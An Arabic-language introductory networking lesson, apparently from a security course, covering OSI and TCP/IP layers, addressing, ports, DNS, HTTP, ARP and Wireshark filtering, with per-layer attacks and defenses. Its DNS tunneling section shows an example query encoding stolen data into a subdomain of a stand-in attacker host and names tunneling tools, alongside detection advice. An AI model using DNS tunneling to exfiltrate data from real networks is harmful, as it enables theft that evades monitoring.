الأساسياتأساسي55mL05

Networking Basics — اللي محدش شرحه لك صح

TCP/IP و OSI والـ packet لما بتمشي على السلك فعلاً

#TCP/IP#OSI#DNS#HTTP#Beginner

إيه الفرق بين اللي بيركّب راوتر واللي بيحلّل pcap؟

سؤال جدّي.

إيه الفرق بين الشخص اللي بيركّب راوتر في البيت، والشخص اللي بيفتح pcap حجمه 2 جيجا في Wireshark ويعرف يطلّع منه الإبرة؟

الفرق مش في الـ tool.

الراوتر زرار، Wireshark زرار، nmap زرار. الناس كلها بتعرف تدوس على الزراير.

الفرق إن واحد بيشوف "الإنترنت اشتغل"، والتاني بيشوف 3-way handshake، ثم TLS Client Hello، ثم HTTP/2 frame، ثم redirect لـ CDN. وبيعرف فين بالظبط الحاجة الغريبة لو فيه حاجة غريبة.

الدرس ده هو اللي بيحوّلك من الأول للتاني. من غيره، Wireshark هيروغليفية، وnmap حفظ صم.

اعتراف: أول مرة شفت ARP spoofing في الحقيقة، أنا اللي اتسرقت. كنت في كافيه عامل لاب اشتغال على HackTheBox، الراجل اللي قاعد جنبي كان معاه bettercap، ولفّ كل ترافيكي. نعم. الواقع مش كتب.

نموذج OSI — 7 طبقات

text
الطبقة 7  Application      HTTP, DNS, SSH, FTP, SMTP
الطبقة 6  Presentation     TLS, تشفير، تنسيق
الطبقة 5  Session          إدارة الجلسات
الطبقة 4  Transport        TCP, UDP            ← منافذ (ports)
الطبقة 3  Network          IP, ICMP, routing   ← عناوين IP
الطبقة 2  Data Link        Ethernet, ARP       ← MAC addresses
الطبقة 1  Physical         كابل، WiFi

القاعدة: كل طبقة بتلفّ داتا الطبقة اللي فوقها وبتضيف header بتاعها.

تشبيه البريد المصري على ايامنا: الجواب جوّه ظرف، الظرف جوّه شنطة البوسطجي، الشنطة جوّه عربية البوسطة، العربية ماشية في الشارع. كل مرحلة معاها "header" خاص بيها (عنوان البيت، اسم الفرع، رقم العربية).

طب أمنياً، إيه قيمة الكلام ده؟

كل طبقة فيها هجوم مشهور. لو ما عرفتش الطبقات، مش هتعرف الهجوم بيحصل فين فعلياً:

  • L2 — ARP Spoofing. إنت في كافيه أو شركة، المهاجم بيقول للراوتر "أنا فلان" وبيقول لفلان "أنا الراوتر". كل ترافيك بيمر عليه. الـ Defense: 802.1X و Dynamic ARP Inspection على الـ switch.
  • L3 — IP Spoofing. تزييف الـ source IP. أساس DDoS reflection (DNS amplification, NTP amp). الـ Defense: BCP38 / uRPF على حدود الـ ISP — وللأسف أغلب الـ ISPs مش مفعّلاها.
  • L4 — TCP RST Injection / SYN Flood. تبعت RST لطرفي اتصال فيقفل. الصينيين بيستخدموها كـ Great Firewall. الـ SYN Flood بياكل موارد الـ server بـ half-open connections.
  • L7 — HTTP Request Smuggling, SQLi, XSS, SSRF. كل هجمات الويب اللي إنت سامع عنها. الطبقة 7 هي اللي فيها الفلوس النهارده.

الواقع vs المفروض: المفروض كل طبقة عندها defense. الواقع، أغلب الشبكات مكشوفة على L2 لإن محدش فعّل 802.1X — "الموضوع معقّد".

TCP/IP — النموذج العملي

OSI نظري بحت. الإنترنت بيشتغل بـ TCP/IP، 4 طبقات بس:

text
Application   HTTP, DNS, SSH, …    (= OSI 5-7)
Transport     TCP, UDP             (= OSI 4)
Internet      IP, ICMP             (= OSI 3)
Link          Ethernet, WiFi       (= OSI 1-2)

عناوين IP — الجوهر

كل جهاز على الشبكة ليه IP فريد. IPv4 = 4 أرقام (0-255): 192.168.1.5.

  • Public IPs — موصول ليها من الإنترنت.
  • Private IPs (RFC 1918) — للشبكات الداخلية: 10.0.0.0/8، 172.16.0.0/12، 192.168.0.0/16.
  • Loopback: 127.0.0.1 = الجهاز نفسه.
  • Subnet mask بيحدّد "شبكتي" إيه. /24 = 254 جهاز.
text
192.168.1.0/24
        │     │
        │     └── prefix length — أول 24 bit للشبكة
        └────── شبكة = 192.168.1.0
                نطاق المضيفين = 192.168.1.1 - 192.168.1.254
                bcast = 192.168.1.255

TCP vs UDP

TCP — مكالمة محترمة
  • Three-way handshake (SYN → SYN-ACK → ACK).
  • بيضمن الترتيب وعدم الفقد.
  • بيعيد الإرسال لو حاجة ضاعت.
  • بيستخدم في: HTTP, HTTPS, SSH, SMB, RDP.
UDP — سريع وملوش ضمانات
  • ابعت وانسى (fire-and-forget).
  • مفيش handshake.
  • ممكن يضيع، ممكن يوصل مش بالترتيب.
  • بيستخدم مع: DNS, NTP, VoIP, VPN.
ليه ده مهم أمنياً
فحص TCP بيدّيك دقة (open/closed/filtered). فحص UDP أبطأ وأقل دقة، لإن مفيش ACK افتراضي.

الـ Three-Way Handshake = مكالمة بين اتنين متربيين

تخيل اتنين بيتكلموا في التليفون لأول مرة:

  • Client → Server: SYN — "أهلاً، أنا عايز أكلّمك. التسلسل بتاعي بيبدأ من رقم 1000، تمام؟"
  • Server → Client: SYN-ACK — "أهلاً وسهلاً. سامعك. وصلني رقمك 1000، التالي بقى 1001 من عندك. وبالمناسبة، أنا تسلسلي من 5000، خلّي بالك."
  • Client → Server: ACK — "تمام، وصلني 5000، هبعتك ACK = 5001 ونبدأ."

كده الاتنين متفقين على نقطة بداية. أي packet هييجي بعد كده، الطرف التاني عارف يرتّبه.

طب لو المهاجم اعترض المكالمة وبعت RST في النص؟ الاتصال بيقفل. ده هجوم TCP Reset Injection — قديم بس فعّال على شبكات بدون TLS.

وفي SYN Flood: المهاجم بيبعت SYN بس ما بيردش بـ ACK. السيرفر فاضل مستني، وكل واحد ماخد مكان في الذاكرة. مع آلاف الـ SYNs، السيرفر بياكل نفسه. الـ Defense: SYN cookies في الـ kernel.

المنافذ المهمة (Well-known)

text
20/21    FTP            (نقل ملفات — قديم، نص واضح)
22       SSH            (أهم بروتوكول إدارة)
23       Telnet         (نص واضح — يجب أن يُمنع)
25       SMTP           (إرسال بريد)
53       DNS            (UDP عادة، TCP أحياناً)
80       HTTP
110      POP3
135      RPC            (Windows)
139, 445 SMB            (Windows file share — هدف ثمين)
143      IMAP
389      LDAP           (AD directory)
443      HTTPS
445      SMB
465/587  SMTP+TLS
587      SMTP submission
636      LDAPS
993      IMAPS
995      POP3S
1433     MSSQL
3306     MySQL
3389     RDP            (Remote Desktop)
5985/5986 WinRM         (PowerShell remote)
8080     HTTP-alt (proxy)
8443     HTTPS-alt

تحفظ القايمة دي = ضمنت نص شغل nmap. Port 445 مفتوح = SMB = يمكن EternalBlue.

DNS — كيف يصبح اسم IP

01
بتكتب example.com في المتصفح

الجهاز بيسأل: "إيه الـ IP بتاع example.com؟"

02
بيدوّر محلياً الأول

بيبص في /etc/hosts (أو C:\\Windows\\System32\\drivers\\etc\\hosts)، وبعدين الـ cache.

03
ملقاش، يسأل DNS resolver

غالباً الـ ISP، أو 8.8.8.8 (Google)، أو 1.1.1.1 (Cloudflare).

04
الـ resolver بيمشي سلسلة

Root → TLD (.com) → authoritative server لـ example.com → الرد: 93.184.216.34.

$ dig example.com # استعلام DNS كامل
$ dig example.com MX # خوادم البريد
$ dig example.com TXT # سجلات نصية (SPF, DKIM)
$ dig @8.8.8.8 example.com # اسأل خادم محدد
$ dig -x 93.184.216.34 # عكسي (PTR)
أهم أنواع DNS records
A = IPv4، AAAA = IPv6، CNAME = اسم بديل، MX = خادم بريد، NS = خادم أسماء، TXT = نصوص (SPF/DKIM/DMARC مهمة لأمن البريد).

DNS Tunneling — السكة اللي محدش بيقفلها

تعالى أحكيلك حاجة عبيطة — اوي.

أغلب الشبكات الـ enterprise بتقفل كل بورت إلا 53 (DNS). الـ firewall رأيه: "DNS؟ ده عادي. سيبه يعدي."

المهاجم: "كده؟ تمام."

الفكرة بسيطة: الـ DNS بيقبل أسماء طويلة (lookup). الـ malware على الجهاز المخترق بيشفّر الـ data بتاعه ويحطها في اسم الدومين:

text
dGhpc2lzc2VjcmV0ZGF0YQ.attacker.com   →   DNS query

السيرفر بتاع المهاجم بيستقبل الاسم، يفكّ الـ base64، يشوف الـ data.
بيرد بـ TXT record فيه الأمر التالي مشفّر.

ده مش tutorial. ده DNSCAT2 وiodine وdnscat2-powershell — أدوات موجودة من 2010.

قصة حقيقية: مجموعة OilRig (APT34) — منسوبة لإيران — استخدمت DNS tunneling في حملات على دول الخليج. الـ malware اسمه DNSpionage. السبب الوحيد إنه نجح: الـ defense ما كانش بيبص على DNS أصلاً.

الحماية: راقب DNS query length و entropy. أي domain طويل غريب الشكل بيتسأل عليه كل دقيقة = علامة استفهام كبيرة. Zeek (Bro) + passive DNS = اللي بياكل عيش في الموضوع ده.

HTTP — لغة الويب

كل صفحة ويب = HTTP request + response. الـ request:

http
GET /index.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html
Cookie: session=abc123

الـ response:

http
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1256
Set-Cookie: session=xyz789
Server: nginx/1.24

<html>...</html>
  • Status codes: 2xx نجاح، 3xx redirect، 4xx خطأ من الـ client (404, 401, 403)، 5xx خطأ سيرفر (500, 502).
  • Methods: GET (قراءة)، POST (إرسال)، PUT/PATCH (تحديث)، DELETE.
  • Headers مهمة أمنياً: Cookie, Authorization, X-Forwarded-For, Host, Origin, Referer, Content-Security-Policy.

ARP — كيف تتحدث الأجهزة فيزيائياً

على الـ LAN، الأجهزة بتتكلم بـ MAC addresses مش بـ IPs. ARP هو اللي بيربط بينهم.

$ # جدول ARP الحالي:
$ arp -a # كل من تكلمت معه
$ # مثال:
10.10.10.5 at 08:00:27:ab:cd:ef on eth0
ARP poisoning
المهاجم بيرد على ARP queries بالـ MAC بتاعه. بيبقى man-in-the-middle على كل ترافيك ما بين الضحية والـ gateway. أسلوب قديم، بس لسه شغّال على شبكات من غير 802.1X.

Wireshark — إزاي تلاقي الإبرة في الكوم

Wireshark = أداة التقاط وتحليل packets.

بُص.

أول مرة تفتح pcap كبير، هتلاقي 50 ألف packet قدامك. الناس العاديين بيقفلوا الأداة. الناس الشاطرة بتعرف تـ filter.

الـ filtering هو الموضوع كله. كل دقيقة في Wireshark = filter. ولو مش حافظ شوية فلاتر بظهر قلب، إنت في كل مرة بتبدأ من الصفر.

text
فلاتر مفيدة:
ip.addr == 10.10.10.5         الحزم من/إلى IP
tcp.port == 443                منفذ محدد
http                           HTTP فقط
http.request.method == "POST"  POST requests
dns                            DNS
tcp.flags.syn == 1 && tcp.flags.ack == 0   SYN فقط (port scan)
tls.handshake.type == 1        TLS Client Hello (يكشف SNI)
$ # على Linux من سطر الأوامر:
$ sudo tshark -i eth0 -f 'port 80' -Y 'http.request' -T fields -e http.request.method -e http.host -e http.request.uri
منهج عملي للقراءة

لما تفتح pcap لأول مرة، اتبع الخطوات دي بالترتيب:

  1. Statistics → Conversations — مين بيتكلم مع مين أكتر؟ أكتر IPs ترافيكاً غالباً هي القصة.
  2. Statistics → Protocol Hierarchy — هل في DNS بنسبة 60%؟ ده مش طبيعي = tunneling مشكوك فيه.
  3. filter: tcp.flags.syn==1 && tcp.flags.ack==0 — لو لاقيت IP واحد بيبعت SYN لـ 1000 host، ده port scan.
  4. Follow → TCP Stream على أي اتصال — بتشوف الـ payload الخام كأنه نص.
  5. filter: http.request — كل HTTP requests في مكان واحد.

NAT و Firewalls و Segmentation — بسرعة

  • NAT: راوتر البيت بيحوّل العنوان الداخلي (192.168.1.10) لعنوان عام (203.x.x.x). كل أجهزة البيت من برّه بتبان IP واحد.
  • Firewall: قواعد "اسمح/امنع" على البورتات والـ IPs والبروتوكولات.
  • Stateful firewall: فاكر الـ sessions. أنت فتحت اتصال للخارج، الرد بيرجعلك تلقائي.
  • Egress filtering: تحدّد إيه اللي بيخرج من شبكتك. شركات كتير بتنسى ده — وعشان كده C2 على بورت 443 بيشتغل ببلاش.
  • Network Segmentation: تقسيم الشبكة لـ VLANs/zones. المفروض جهاز الـ HR ما يقدرش يكلّم الـ Domain Controller مباشرة. الواقع: شبكة مسطحة، أي جهاز يكلّم أي جهاز، والـ ransomware بيلف الشركة كلها في 4 ساعات.
  • NetFlow/sFlow: ملخّص ميتاداتا لكل اتصال (مين، فين، إمتى، كام بايت). أرخص بكتير من full packet capture، وكافي لـ 80% من الـ detection. لو الـ SOC عندك مش بيشغّل NetFlow analysis، ده gap.

الواقع المصري/العربي: في كتير من الجهات، الـ segmentation موجود "على الـ slide". الواقع switch واحد flat، عشان "الموضوع كده أسهل في الإدارة". ولما الـ incident يحصل، بيكتشفوا إن مفيش حدود يقفوا عندها.

ممارسة

  1. افتح Wireshark على Kali، التقط 30 ثانية، وحاول تفهم اللي قدامك.
  2. افتح موقع HTTP عادي، التقط، اعمل Follow TCP Stream، اقرا الـ raw HTTP.
  3. اعمل dig على 5 دومينات مختلفة، شوف فرق الـ records.
  4. درّب نفسك على الـ subnetting:
bash
ipcalc 192.168.1.0/24
# Network:    192.168.1.0
# Hosts:      192.168.1.1 - 192.168.1.254
# Broadcast:  192.168.1.255

الخلاصة الناشفة

الشبكات مش حفظ بورتات.

الشبكات إنك تشوف الـ packet وتعرف هي عند أي طبقة، ومين كاتبها، وليه.

اكتبها على ظهر إيدك:

الـ 7 طبقات + TCP handshake + DNS chain + HTTP request = إنت قدرت تقرا الإنترنت.

والباقي tools.

الـ tools بتتغيّر كل سنة. الأساسيات دي من 1981 ولسة شغّالة. اوعى تستهتر بيها.